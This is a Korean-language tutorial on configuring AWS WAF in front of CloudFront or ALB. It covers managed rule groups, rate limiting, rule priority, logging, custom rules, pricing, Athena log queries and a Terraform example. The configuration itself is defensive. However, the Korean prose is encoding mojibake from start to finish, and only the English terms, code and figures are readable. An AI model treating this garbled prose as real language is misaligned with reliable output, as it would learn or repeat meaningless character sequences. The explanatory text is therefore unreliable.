๐Ÿ› ๏ธ AWS WAF ์‹ค์ œ ์„ค์ •ํ•˜๊ธฐ โ€” ๋‹จ๊ณ„๋ณ„ ๊ฐ€์ด๋“œ

์ž, ์ด์ œ ์ง„์งœ ์‹ค์ „์ด์•ผ! AWS ์ฝ˜์†”์—์„œ WAF๋ฅผ ์„ค์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋‹จ๊ณ„๋ณ„๋กœ ์•Œ์•„๋ณด์ž. CloudFront์— WAF๋ฅผ ์—ฐ๊ฒฐํ•˜๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค๋กœ ์„ค๋ช…ํ• ๊ฒŒ.

โš ๏ธ ์ฃผ์˜์‚ฌํ•ญ CloudFront์— WAF๋ฅผ ์—ฐ๊ฒฐํ•  ๋•Œ๋Š” ๋ฐ˜๋“œ์‹œ us-east-1 (๋ฒ„์ง€๋‹ˆ์•„ ๋ถ๋ถ€) ๋ฆฌ์ „์—์„œ Web ACL์„ ์ƒ์„ฑํ•ด์•ผ ํ•ด! CloudFront๋Š” ๊ธ€๋กœ๋ฒŒ ์„œ๋น„์Šค๋ผ์„œ us-east-1์—์„œ๋งŒ ์—ฐ๋™์ด ๊ฐ€๋Šฅํ•ด. ALB์— ์—ฐ๊ฒฐํ•  ๋•Œ๋Š” ํ•ด๋‹น ALB๊ฐ€ ์žˆ๋Š” ๋ฆฌ์ „์—์„œ ์ƒ์„ฑํ•˜๋ฉด ๋ผ.

Step 1: Web ACL ์ƒ์„ฑ

1
AWS ์ฝ˜์†” โ†’ WAF & Shield โ†’ Web ACLs โ†’ Create web ACL ํด๋ฆญ
2
Resource type ์„ ํƒ:
- CloudFront distributions โ†’ us-east-1 ๋ฆฌ์ „ ์ž๋™ ์„ ํƒ
- Regional resources (ALB, API Gateway ๋“ฑ) โ†’ ํ•ด๋‹น ๋ฆฌ์ „ ์„ ํƒ
3
Name์— Web ACL ์ด๋ฆ„ ์ž…๋ ฅ (์˜ˆ: my-service-waf)
CloudWatch metric name์€ ์ž๋™ ์ƒ์„ฑ๋˜๊ฑฐ๋‚˜ ์ง์ ‘ ์ž…๋ ฅ
4
Associated AWS resources์—์„œ ๋ณดํ˜ธํ•  ๋ฆฌ์†Œ์Šค ์„ ํƒ (CloudFront ๋ฐฐํฌ, ALB ๋“ฑ)

Step 2: ๊ทœ์น™ ์ถ”๊ฐ€

1
Add rules โ†’ Add managed rule groups ํด๋ฆญ
2
AWS managed rule groups ์„น์…˜์—์„œ ์›ํ•˜๋Š” ๊ทœ์น™ ๊ทธ๋ฃน ํ† ๊ธ€ ON
์ถ”์ฒœ ์กฐํ•ฉ: CommonRuleSet + SQLiRuleSet + KnownBadInputsRuleSet + AmazonIpReputationList
3
๊ฐ ๊ทœ์น™ ๊ทธ๋ฃน์˜ Edit๋ฅผ ํด๋ฆญํ•˜๋ฉด ๊ฐœ๋ณ„ ๊ทœ์น™์„ Count ๋ชจ๋“œ๋กœ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ํŠน์ • ๊ทœ์น™์„ ์ œ์™ธํ•  ์ˆ˜ ์žˆ์–ด. ์ฒ˜์Œ์—๋Š” Count ๋ชจ๋“œ๋กœ ์‹œ์ž‘ํ•ด์„œ ๋กœ๊ทธ๋ฅผ ํ™•์ธํ•œ ํ›„ Block์œผ๋กœ ์ „ํ™˜ํ•˜๋Š” ๊ฑธ ์ถ”์ฒœํ•ด!

Step 3: Rate-based Rule ์ถ”๊ฐ€ (DDoS ๋ฐฉ์–ด)

1
Add rules โ†’ Add my own rules and rule groups โ†’ Rule builder ์„ ํƒ
2
Rule type: Rate-based rule ์„ ํƒ
Name: RateLimitRule
Rate limit: 2000 (5๋ถ„ ๋‚ด 2,000 ์š”์ฒญ ์ดˆ๊ณผ ์‹œ ์ฐจ๋‹จ)
IP address to use: Source IP address
3
Action: Block ์„ ํƒ โ†’ Add rule ํด๋ฆญ

Step 4: ๊ทœ์น™ ์šฐ์„ ์ˆœ์œ„ ์„ค์ •

๊ทœ์น™๋“ค์€ ์šฐ์„ ์ˆœ์œ„(Priority) ์ˆœ์„œ๋Œ€๋กœ ์‹คํ–‰๋ผ. ์ˆซ์ž๊ฐ€ ๋‚ฎ์„์ˆ˜๋ก ๋จผ์ € ์‹คํ–‰๋˜๊ณ , ์ฒซ ๋ฒˆ์งธ๋กœ ๋งค์นญ๋œ ๊ทœ์น™์˜ ์•ก์…˜์ด ์ ์šฉ๋ผ. ์ผ๋ฐ˜์ ์œผ๋กœ ์ด๋Ÿฐ ์ˆœ์„œ๋ฅผ ์ถ”์ฒœํ•ด:

์šฐ์„ ์ˆœ์œ„ ๊ทœ์น™ ์ด์œ 
1 IP ํ—ˆ์šฉ ๋ชฉ๋ก (Allow) ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” IP๋Š” ๋‹ค๋ฅธ ๊ทœ์น™ ๊ฒ€์‚ฌ ์—†์ด ํ†ต๊ณผ
2 IP ์ฐจ๋‹จ ๋ชฉ๋ก (Block) ์•Œ๋ ค์ง„ ์•…์„ฑ IP ์ฆ‰์‹œ ์ฐจ๋‹จ
3 Rate-based Rule DDoS ํŠธ๋ž˜ํ”ฝ ์กฐ๊ธฐ ์ฐจ๋‹จ
4 AmazonIpReputationList AWS ์•…์„ฑ IP ๋ชฉ๋ก ์ฐจ๋‹จ
5 CommonRuleSet ์ผ๋ฐ˜์ ์ธ ์›น ๊ณต๊ฒฉ ์ฐจ๋‹จ
6 SQLiRuleSet SQL Injection ์ฐจ๋‹จ
7 KnownBadInputsRuleSet ์•Œ๋ ค์ง„ ์•…์„ฑ ์ž…๋ ฅ ์ฐจ๋‹จ

Step 5: ๊ธฐ๋ณธ ์•ก์…˜ ์„ค์ •

๋ชจ๋“  ๊ทœ์น™์— ๋งค์นญ๋˜์ง€ ์•Š์€ ์š”์ฒญ์— ๋Œ€ํ•œ ๊ธฐ๋ณธ ์•ก์…˜์„ ์„ค์ •ํ•ด. ์ผ๋ฐ˜์ ์œผ๋กœ Allow๋กœ ์„ค์ •ํ•ด (์ •์ƒ ํŠธ๋ž˜ํ”ฝ์€ ํ†ต๊ณผ์‹œ์ผœ์•ผ ํ•˜๋‹ˆ๊นŒ). ๋งŒ์•ฝ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์œผ๋กœ ์šด์˜ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด Block์œผ๋กœ ์„ค์ •ํ•˜๊ณ  ํ—ˆ์šฉ ๊ทœ์น™๋งŒ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ์‹๋„ ์žˆ์–ด.

Step 6: ๋กœ๊น… ์„ค์ • (๋งค์šฐ ์ค‘์š”!)

WAF ๋กœ๊ทธ๋ฅผ ํ™œ์„ฑํ™”ํ•ด์•ผ ์–ด๋–ค ์š”์ฒญ์ด ์ฐจ๋‹จ๋๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์–ด. ๋กœ๊ทธ๋Š” Amazon Kinesis Data Firehose๋ฅผ ํ†ตํ•ด S3์— ์ €์žฅํ•˜๊ฑฐ๋‚˜, CloudWatch Logs์— ์ง์ ‘ ์ €์žฅํ•  ์ˆ˜ ์žˆ์–ด.

๐Ÿ’ก ๋กœ๊น… ์„ค์ • ๋ฐฉ๋ฒ• Web ACL โ†’ Logging and metrics ํƒญ โ†’ Enable logging
Logging destination: CloudWatch Logs ๋˜๋Š” S3 ์„ ํƒ
๋กœ๊ทธ ํ•„ํ„ฐ๋ง: ์ฐจ๋‹จ๋œ ์š”์ฒญ๋งŒ ๋กœ๊น…ํ•˜๊ฑฐ๋‚˜ ์ „์ฒด ๋กœ๊น… ์„ ํƒ ๊ฐ€๋Šฅ

โš™๏ธ ์ปค์Šคํ…€ ๊ทœ์น™ ๋งŒ๋“ค๊ธฐ โ€” ๋‚ด ์„œ๋น„์Šค์— ๋”ฑ ๋งž๋Š” ๊ทœ์น™ ์ž‘์„ฑ๋ฒ•

๊ด€๋ฆฌํ˜• ๊ทœ์น™์œผ๋กœ ๊ธฐ๋ณธ ๋ฐฉ์–ด๋Š” ๋์–ด. ๊ทผ๋ฐ ๋‚ด ์„œ๋น„์Šค์— ํŠนํ™”๋œ ๊ทœ์น™์ด ํ•„์š”ํ•  ๋•Œ๋„ ์žˆ์ž–์•„. ์˜ˆ๋ฅผ ๋“ค์–ด ํŠน์ • User-Agent๋ฅผ ์ฐจ๋‹จํ•˜๊ฑฐ๋‚˜, ํŠน์ • ๊ฒฝ๋กœ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œํ•œํ•˜๊ฑฐ๋‚˜. ์ด๋Ÿด ๋•Œ ์ปค์Šคํ…€ ๊ทœ์น™์„ ๋งŒ๋“ค๋ฉด ๋ผ!

์ปค์Šคํ…€ ๊ทœ์น™์˜ ๊ตฌ์„ฑ ์š”์†Œ

์ปค์Šคํ…€ ๊ทœ์น™์€ ํฌ๊ฒŒ ๋‘ ๋ถ€๋ถ„์œผ๋กœ ๊ตฌ์„ฑ๋ผ:

๊ตฌ์„ฑ ์š”์†Œ ์„ค๋ช… ์˜ˆ์‹œ
Statement (์กฐ๊ฑด) ์–ด๋–ค ์š”์ฒญ์„ ํƒ์ง€ํ• ์ง€ ์ •์˜ URI์— '/admin' ํฌํ•จ, ํŠน์ • IP ๋ฒ”์œ„, ํ—ค๋” ๊ฐ’ ๋“ฑ
Action (์•ก์…˜) ์กฐ๊ฑด ๋งค์นญ ์‹œ ์–ด๋–ค ๋™์ž‘์„ ํ• ์ง€ Block, Allow, Count, CAPTCHA, Challenge

Statement ์œ ํ˜•๋“ค

Statement ์œ ํ˜• ์„ค๋ช…
IP set match ํŠน์ • IP ๋˜๋Š” IP ๋ฒ”์œ„ ๋งค์นญ
Geographic match ํŠน์ • ๊ตญ๊ฐ€/์ง€์—ญ ๋งค์นญ
String match ์š”์ฒญ์˜ ํŠน์ • ๋ถ€๋ถ„์— ๋ฌธ์ž์—ด ํฌํ•จ ์—ฌ๋ถ€
Regex match ์ •๊ทœํ‘œํ˜„์‹ ํŒจํ„ด ๋งค์นญ
Size constraint ์š”์ฒญ ํฌ๊ธฐ ์ œํ•œ (์˜ˆ: ๋ฐ”๋”” ํฌ๊ธฐ 10MB ์ดˆ๊ณผ ์ฐจ๋‹จ)
SQL injection match SQL Injection ํŒจํ„ด ํƒ์ง€
XSS match XSS ํŒจํ„ด ํƒ์ง€
Label match ๋‹ค๋ฅธ ๊ทœ์น™์ด ๋ถ™์ธ ๋ ˆ์ด๋ธ” ๋งค์นญ
AND/OR/NOT ๋…ผ๋ฆฌ ์—ฐ์‚ฐ ์—ฌ๋Ÿฌ ์กฐ๊ฑด์„ ์กฐํ•ฉ

์‹ค์ „ ์ปค์Šคํ…€ ๊ทœ์น™ ์˜ˆ์‹œ๋“ค

์˜ˆ์‹œ 1: ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€ IP ์ œํ•œ

๋ชฉํ‘œ: /admin ๊ฒฝ๋กœ๋Š” ํšŒ์‚ฌ IP์—์„œ๋งŒ ์ ‘๊ทผ ํ—ˆ์šฉ

๊ทœ์น™ 1 (Allow, ์šฐ์„ ์ˆœ์œ„ ๋†’์Œ):
- AND ์กฐ๊ฑด:
ย ย - URI path starts with: /admin
ย ย - IP set match: ํšŒ์‚ฌ IP ๋ชฉ๋ก
- Action: Allow

๊ทœ์น™ 2 (Block, ์šฐ์„ ์ˆœ์œ„ ๋‚ฎ์Œ):
- URI path starts with: /admin
- Action: Block

์˜ˆ์‹œ 2: ํŠน์ • User-Agent ์ฐจ๋‹จ

๋ชฉํ‘œ: ์•Œ๋ ค์ง„ ์Šค์บ๋„ˆ ๋„๊ตฌ ์ฐจ๋‹จ (sqlmap, nikto ๋“ฑ)

- String match
- Inspect: Single header โ†’ user-agent
- Match type: Contains string
- String to match: sqlmap
- Action: Block

์˜ˆ์‹œ 3: ๋Œ€์šฉ๋Ÿ‰ ์š”์ฒญ ์ฐจ๋‹จ

๋ชฉํ‘œ: 10MB ์ด์ƒ์˜ ์š”์ฒญ ๋ฐ”๋”” ์ฐจ๋‹จ (ํŒŒ์ผ ์—…๋กœ๋“œ ๊ณต๊ฒฉ ๋ฐฉ์ง€)

- Size constraint
- Inspect: Body
- Comparison: Greater than
- Size: 10485760 (10MB in bytes)
- Action: Block

์˜ˆ์‹œ 4: ํŠน์ • ๊ตญ๊ฐ€ ์ฐจ๋‹จ

๋ชฉํ‘œ: ์„œ๋น„์Šค ๋Œ€์ƒ ๊ตญ๊ฐ€ ์™ธ ์ ‘๊ทผ ์ฐจ๋‹จ

- Geographic match
- Country codes: ์ฐจ๋‹จํ•  ๊ตญ๊ฐ€ ์ฝ”๋“œ ์„ ํƒ (์˜ˆ: KP, RU ๋“ฑ)
- Action: Block

๐Ÿ’ฐ AWS WAF ์š”๊ธˆ ๊ตฌ์กฐ โ€” ์–ผ๋งˆ๋‚˜ ๋“œ๋Š” ๊ฑฐ์•ผ?

๋ณด์•ˆ์€ ์ค‘์š”ํ•˜์ง€๋งŒ ๋น„์šฉ๋„ ๋ฌด์‹œํ•  ์ˆ˜ ์—†์ž–์•„. AWS WAF์˜ ์š”๊ธˆ ๊ตฌ์กฐ๋ฅผ ๋ช…ํ™•ํ•˜๊ฒŒ ์•Œ์•„๋ณด์ž. (2024๋…„ ๊ธฐ์ค€, ๋ฆฌ์ „๋ณ„๋กœ ์•ฝ๊ฐ„ ์ฐจ์ด ์žˆ์„ ์ˆ˜ ์žˆ์–ด)

ํ•ญ๋ชฉ ์š”๊ธˆ ์„ค๋ช…
Web ACL $5.00/์›” Web ACL ํ•˜๋‚˜๋‹น ์›” $5
Rule $1.00/์›” Web ACL์— ์ถ”๊ฐ€๋œ ๊ทœ์น™ ํ•˜๋‚˜๋‹น ์›” $1
์š”์ฒญ ์ฒ˜๋ฆฌ $0.60/100๋งŒ ์š”์ฒญ WAF๋ฅผ ํ†ต๊ณผํ•˜๋Š” ์š”์ฒญ ์ˆ˜ ๊ธฐ์ค€
Bot Control (๊ธฐ๋ณธ) $10.00/์›” + $1.00/100๋งŒ ์š”์ฒญ ๋ด‡ ํƒ์ง€ ๊ธฐ๋Šฅ (์„ ํƒ ์‚ฌํ•ญ)
Bot Control (๊ณ ๊ธ‰) $30.00/์›” + $1.00/100๋งŒ ์š”์ฒญ ๊ณ ๊ธ‰ ๋ด‡ ํƒ์ง€ (์„ ํƒ ์‚ฌํ•ญ)
Fraud Control $10.00/์›” + $1.00/100๋งŒ ์š”์ฒญ ๊ณ„์ • ํƒˆ์ทจ ๋ฐฉ์ง€ (์„ ํƒ ์‚ฌํ•ญ)
๐Ÿ’ก ๋น„์šฉ ๊ณ„์‚ฐ ์˜ˆ์‹œ Web ACL 1๊ฐœ + ๊ทœ์น™ 5๊ฐœ + ์›” 1,000๋งŒ ์š”์ฒญ ๊ธฐ์ค€:
- Web ACL: $5.00
- Rules: $5.00 (5๊ฐœ ร— $1)
- ์š”์ฒญ: $6.00 (1,000๋งŒ ร— $0.60/100๋งŒ)
์ด ์›” ์•ฝ $16 (์•ฝ 2๋งŒ์› ์ดˆ๋ฐ˜)

๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน์€ ๋ฌด๋ฃŒ์ด๊ณ , ๊ทœ์น™ ๊ทธ๋ฃน ์ž์ฒด๋Š” 1๊ฐœ์˜ ๊ทœ์น™์œผ๋กœ ์นด์šดํŠธ๋ผ!
๐Ÿ’ก ๋น„์šฉ ์ ˆ๊ฐ ํŒ: CloudFront์— WAF๋ฅผ ์—ฐ๊ฒฐํ•˜๋ฉด CloudFront๊ฐ€ ์—ฃ์ง€์—์„œ ๋จผ์ € ์บ์‹ฑํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‹ค์ œ WAF๋ฅผ ํ†ต๊ณผํ•˜๋Š” ์š”์ฒญ ์ˆ˜๊ฐ€ ์ค„์–ด๋“ค์–ด. ์บ์‹œ ํžˆํŠธ์œจ์ด ๋†’์„์ˆ˜๋ก WAF ๋น„์šฉ๋„ ์ค„์–ด๋“œ๋Š” ๊ฑฐ์•ผ!

๐Ÿ” WAF ๋กœ๊ทธ ๋ถ„์„ & ๋ชจ๋‹ˆํ„ฐ๋ง โ€” ๊ณต๊ฒฉ ํ˜„ํ™ฉ ํŒŒ์•…ํ•˜๊ธฐ

WAF๋ฅผ ์„ค์ •ํ–ˆ๋‹ค๊ณ  ๋์ด ์•„๋‹ˆ์•ผ. ์‹ค์ œ๋กœ ์–ด๋–ค ๊ณต๊ฒฉ์ด ๋“ค์–ด์˜ค๊ณ  ์žˆ๋Š”์ง€, ์ •์ƒ ํŠธ๋ž˜ํ”ฝ์ด ์ž˜๋ชป ์ฐจ๋‹จ๋˜๊ณ  ์žˆ์ง€๋Š” ์•Š์€์ง€ ๊พธ์ค€ํžˆ ๋ชจ๋‹ˆํ„ฐ๋งํ•ด์•ผ ํ•ด. ์ด๊ฒŒ ์ง„์งœ ์šด์˜์ด์•ผ! ๐Ÿ‘€

CloudWatch ๋ฉ”ํŠธ๋ฆญ ํ™œ์šฉ

AWS WAF๋Š” ์ž๋™์œผ๋กœ CloudWatch ๋ฉ”ํŠธ๋ฆญ์„ ์ƒ์„ฑํ•ด. ์ฃผ์š” ๋ฉ”ํŠธ๋ฆญ๋“ค:

๋ฉ”ํŠธ๋ฆญ ์„ค๋ช…
AllowedRequests ํ—ˆ์šฉ๋œ ์š”์ฒญ ์ˆ˜
BlockedRequests ์ฐจ๋‹จ๋œ ์š”์ฒญ ์ˆ˜
CountedRequests Count ์•ก์…˜์œผ๋กœ ์นด์šดํŠธ๋œ ์š”์ฒญ ์ˆ˜
PassedRequests ๊ทœ์น™์„ ํ†ต๊ณผํ•œ ์š”์ฒญ ์ˆ˜

CloudWatch ๋Œ€์‹œ๋ณด๋“œ์— ์ด ๋ฉ”ํŠธ๋ฆญ๋“ค์„ ์ถ”๊ฐ€ํ•˜๋ฉด ์‹ค์‹œ๊ฐ„์œผ๋กœ ๊ณต๊ฒฉ ํ˜„ํ™ฉ์„ ๋ณผ ์ˆ˜ ์žˆ์–ด. ์ฐจ๋‹จ ์š”์ฒญ์ด ๊ฐ‘์ž๊ธฐ ๊ธ‰์ฆํ•˜๋ฉด ์•Œ๋žŒ์„ ์„ค์ •ํ•ด์„œ ์ฆ‰์‹œ ์•Œ๋ฆผ์„ ๋ฐ›์„ ์ˆ˜๋„ ์žˆ๊ณ !

WAF ๋กœ๊ทธ ๋ถ„์„ โ€” Athena ํ™œ์šฉ

WAF ๋กœ๊ทธ๋ฅผ S3์— ์ €์žฅํ•˜๊ณ  Amazon Athena๋กœ SQL ์ฟผ๋ฆฌ๋ฅผ ๋‚ ๋ฆฌ๋ฉด ๊ฐ•๋ ฅํ•œ ๋ถ„์„์ด ๊ฐ€๋Šฅํ•ด.

-- ๊ฐ€์žฅ ๋งŽ์ด ์ฐจ๋‹จ๋œ IP Top 10
SELECT httprequest.clientip, COUNT(*) as block_count
FROM waf_logs
WHERE action = 'BLOCK'
GROUP BY httprequest.clientip
ORDER BY block_count DESC
LIMIT 10;
-- ์–ด๋–ค ๊ทœ์น™์— ๊ฐ€์žฅ ๋งŽ์ด ๊ฑธ๋ ธ๋Š”์ง€
SELECT terminatingruleid, COUNT(*) as count
FROM waf_logs
WHERE action = 'BLOCK'
GROUP BY terminatingruleid
ORDER BY count DESC;
-- ํŠน์ • ์‹œ๊ฐ„๋Œ€ ๊ณต๊ฒฉ ํŒจํ„ด ๋ถ„์„
SELECT DATE_FORMAT(FROM_UNIXTIME(timestamp/1000), '%Y-%m-%d %H:00') as hour,
       COUNT(*) as requests,
       SUM(CASE WHEN action = 'BLOCK' THEN 1 ELSE 0 END) as blocked
FROM waf_logs
GROUP BY 1
ORDER BY 1;

False Positive ์ฒ˜๋ฆฌ โ€” ์ •์ƒ ํŠธ๋ž˜ํ”ฝ์ด ์ฐจ๋‹จ๋  ๋•Œ

WAF๋ฅผ ์ฒ˜์Œ ์„ค์ •ํ•˜๋ฉด ์ •์ƒ์ ์ธ ์š”์ฒญ์ด ์ฐจ๋‹จ๋˜๋Š” False Positive ๋ฌธ์ œ๊ฐ€ ์ƒ๊ธธ ์ˆ˜ ์žˆ์–ด. ์˜ˆ๋ฅผ ๋“ค์–ด ์ •์ƒ์ ์ธ ๊ฒ€์ƒ‰ ์ฟผ๋ฆฌ๊ฐ€ SQL Injection์œผ๋กœ ์˜คํƒ๋˜๊ฑฐ๋‚˜, ํŠน์ • API ์š”์ฒญ์ด ์ฐจ๋‹จ๋˜๋Š” ๊ฒฝ์šฐ์•ผ.

โš ๏ธ False Positive ํ•ด๊ฒฐ ๋ฐฉ๋ฒ• 1. Count ๋ชจ๋“œ๋กœ ๋จผ์ € ํ…Œ์ŠคํŠธ: ์ƒˆ ๊ทœ์น™์€ Block ๋Œ€์‹  Count๋กœ ์„ค์ •ํ•ด์„œ ์–ด๋–ค ์š”์ฒญ์ด ๊ฑธ๋ฆฌ๋Š”์ง€ ๋จผ์ € ํ™•์ธ

2. ๊ทœ์น™ ์ œ์™ธ(Exclude Rule): ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน์—์„œ ํŠน์ • ๊ทœ์น™๋งŒ ๋น„ํ™œ์„ฑํ™” ๊ฐ€๋Šฅ

3. Scope-down Statement: ํŠน์ • ๊ฒฝ๋กœ๋‚˜ ์กฐ๊ฑด์—์„œ๋งŒ ๊ทœ์น™ ์ ์šฉ

4. IP ํ—ˆ์šฉ ๋ชฉ๋ก: ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” IP๋Š” WAF ๊ฒ€์‚ฌ ์—†์ด ํ†ต๊ณผ์‹œํ‚ค๊ธฐ

๐Ÿ—๏ธ Infrastructure as Code โ€” Terraform์œผ๋กœ WAF ๊ด€๋ฆฌํ•˜๊ธฐ

DevOps ๊ด€์ ์—์„œ WAF ์„ค์ •์„ ์ฝ”๋“œ๋กœ ๊ด€๋ฆฌํ•˜๋Š” ๊ฒŒ ํ›จ์”ฌ ์ข‹์•„. ๋ฒ„์ „ ๊ด€๋ฆฌ๋„ ๋˜๊ณ , ์žฌํ˜„ ๊ฐ€๋Šฅํ•˜๊ณ , ํŒ€์›๋“ค๊ณผ ๊ณต์œ ํ•˜๊ธฐ๋„ ์‰ฝ๊ฑฐ๋“ . Terraform์œผ๋กœ AWS WAF๋ฅผ ์„ค์ •ํ•˜๋Š” ์˜ˆ์‹œ๋ฅผ ๋ณด์—ฌ์ค„๊ฒŒ!

์žฌ๋Šฅ๋„ท์—์„œ๋„ Terraform์ด๋‚˜ AWS ์ธํ”„๋ผ ๊ด€๋ จ ์žฌ๋Šฅ์„ ๊ฐ€์ง„ ์ „๋ฌธ๊ฐ€๋“ค์„ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋Ÿฐ WAF ์„ค์ • ์ž๋™ํ™” ์ž‘์—…์„ ์˜๋ขฐํ•˜๋Š” ๊ฒƒ๋„ ์ข‹์€ ๋ฐฉ๋ฒ•์ด์•ผ. ๐Ÿ™Œ

# IP Set ์ƒ์„ฑ (์ฐจ๋‹จํ•  IP ๋ชฉ๋ก)
resource "aws_wafv2_ip_set" "blocked_ips" {
  name               = "blocked-ip-set"
  description        = "์ฐจ๋‹จํ•  ์•…์„ฑ IP ๋ชฉ๋ก"
  scope              = "CLOUDFRONT"  # ALB๋ฉด REGIONAL
  ip_address_version = "IPV4"
  
  addresses = [
    "192.0.2.0/24",
    "198.51.100.0/24",
  ]
}

# Web ACL ์ƒ์„ฑ
resource "aws_wafv2_web_acl" "main" {
  name        = "my-service-waf"
  description = "My Service WAF"
  scope       = "CLOUDFRONT"

  default_action {
    allow {}
  }

  # ๊ทœ์น™ 1: ์ฐจ๋‹จ IP ๋ชฉ๋ก
  rule {
    name     = "BlockedIPRule"
    priority = 1

    action {
      block {}
    }

    statement {
      ip_set_reference_statement {
        arn = aws_wafv2_ip_set.blocked_ips.arn
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "BlockedIPRule"
      sampled_requests_enabled   = true
    }
  }

  # ๊ทœ์น™ 2: Rate Limiting
  rule {
    name     = "RateLimitRule"
    priority = 2

    action {
      block {}
    }

    statement {
      rate_based_statement {
        limit              = 2000
        aggregate_key_type = "IP"
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "RateLimitRule"
      sampled_requests_enabled   = true
    }
  }

  # ๊ทœ์น™ 3: AWS ๊ด€๋ฆฌํ˜• ๊ทœ์น™ - Common Rule Set
  rule {
    name     = "AWSManagedRulesCommonRuleSet"
    priority = 3

    override_action {
      none {}  # ๊ด€๋ฆฌํ˜• ๊ทœ์น™์˜ ๊ธฐ๋ณธ ์•ก์…˜ ์‚ฌ์šฉ
    }

    statement {
      managed_rule_group_statement {
        name        = "AWSManagedRulesCommonRuleSet"
        vendor_name = "AWS"
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "CommonRuleSet"
      sampled_requests_enabled   = true
    }
  }

  # ๊ทœ์น™ 4: SQL Injection ๋ฐฉ์–ด
  rule {
    name     = "AWSManagedRulesSQLiRuleSet"
    priority = 4

    override_action {
      none {}
    }

    statement {
      managed_rule_group_statement {
        name        = "AWSManagedRulesSQLiRuleSet"
        vendor_name = "AWS"
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "SQLiRuleSet"
      sampled_requests_enabled   = true
    }
  }

  visibility_config {
    cloudwatch_metrics_enabled = true
    metric_name                = "MyServiceWAF"
    sampled_requests_enabled   = true
  }
}

# WAF ๋กœ๊น… ์„ค์ •
resource "aws_wafv2_web_acl_logging_configuration" "main" {
  log_destination_configs = [aws_cloudwatch_log_group.waf_logs.arn]
  resource_arn            = aws_wafv2_web_acl.main.arn
}

resource "aws_cloudwatch_log_group" "waf_logs" {
  name              = "/aws/waf/my-service"
  retention_in_days = 30
}
๐Ÿ’ก Terraform ํŒ: CloudFront์— WAF๋ฅผ ์—ฐ๊ฒฐํ•  ๋•Œ๋Š” Terraform provider๋ฅผ us-east-1 ๋ฆฌ์ „์œผ๋กœ ์„ค์ •ํ•ด์•ผ ํ•ด.
provider "aws" { alias = "us_east_1" region = "us-east-1" }
์ด๋Ÿฐ ์‹์œผ๋กœ ๋ณ„๋„ provider๋ฅผ ๋งŒ๋“ค์–ด์„œ ์‚ฌ์šฉํ•ด!

๐ŸŽฏ ์‹ค์ „ ์‹œ๋‚˜๋ฆฌ์˜ค๋ณ„ WAF ์„ค์ • ์ „๋žต

์„œ๋น„์Šค ์œ ํ˜•์— ๋”ฐ๋ผ WAF ์„ค์ • ์ „๋žต์ด ๋‹ฌ๋ผ์ ธ. ๋ช‡ ๊ฐ€์ง€ ์‹ค์ „ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์‚ดํŽด๋ณด์ž!

๐Ÿ›’ ์‹œ๋‚˜๋ฆฌ์˜ค 1: ์ด์ปค๋จธ์Šค ์„œ๋น„์Šค

์ฃผ์š” ์œ„ํ˜‘: ํฌ๋ฆฌ๋ด์…œ ์Šคํ„ฐํ•‘, ์žฌ๊ณ  ๋ด‡, ๊ฒฐ์ œ ์‚ฌ๊ธฐ, SQL Injection

์ถ”์ฒœ ์„ค์ •:
- CommonRuleSet + SQLiRuleSet ํ•„์ˆ˜
- ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€(/login, /signin)์— Rate Limiting ๊ฐ•ํ™” (5๋ถ„ ๋‚ด 100ํšŒ)
- Bot Control ํ™œ์„ฑํ™” (์žฌ๊ณ  ์Šคํฌ๋ž˜ํ•‘ ๋ด‡ ์ฐจ๋‹จ)
- AmazonIpReputationList ํ™œ์„ฑํ™”
- ๊ฒฐ์ œ API ์—”๋“œํฌ์ธํŠธ์— IP ํ—ˆ์šฉ ๋ชฉ๋ก ์ ์šฉ

๐Ÿ“ฑ ์‹œ๋‚˜๋ฆฌ์˜ค 2: REST API ์„œ๋น„์Šค

์ฃผ์š” ์œ„ํ˜‘: API ๋‚จ์šฉ, DDoS, ์ธ์ฆ ์šฐํšŒ, ๋ฐ์ดํ„ฐ ์Šคํฌ๋ž˜ํ•‘

์ถ”์ฒœ ์„ค์ •:
- API Gateway์— WAF ์—ฐ๊ฒฐ
- Rate Limiting ์—„๊ฒฉํ•˜๊ฒŒ ์„ค์ • (์—”๋“œํฌ์ธํŠธ๋ณ„ ๋‹ค๋ฅธ ์ œํ•œ)
- API Key ์—†๋Š” ์š”์ฒญ ์ฐจ๋‹จ (์ปค์Šคํ…€ ํ—ค๋” ๊ฒ€์‚ฌ)
- ๋น„์ •์ƒ์ ์œผ๋กœ ํฐ ์š”์ฒญ ๋ฐ”๋”” ์ฐจ๋‹จ (Size Constraint)
- ํŠน์ • User-Agent ํŒจํ„ด ์ฐจ๋‹จ

๐Ÿ“ ์‹œ๋‚˜๋ฆฌ์˜ค 3: WordPress ๋ธ”๋กœ๊ทธ/CMS

์ฃผ์š” ์œ„ํ˜‘: wp-admin ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…, ํ”Œ๋Ÿฌ๊ทธ์ธ ์ทจ์•ฝ์ , XML-RPC ๊ณต๊ฒฉ

์ถ”์ฒœ ์„ค์ •:
- WordPressRuleSet ํ™œ์„ฑํ™”
- AdminProtectionRuleSet ํ™œ์„ฑํ™”
- /wp-admin, /wp-login.php ์ ‘๊ทผ IP ์ œํ•œ
- /xmlrpc.php ์™„์ „ ์ฐจ๋‹จ
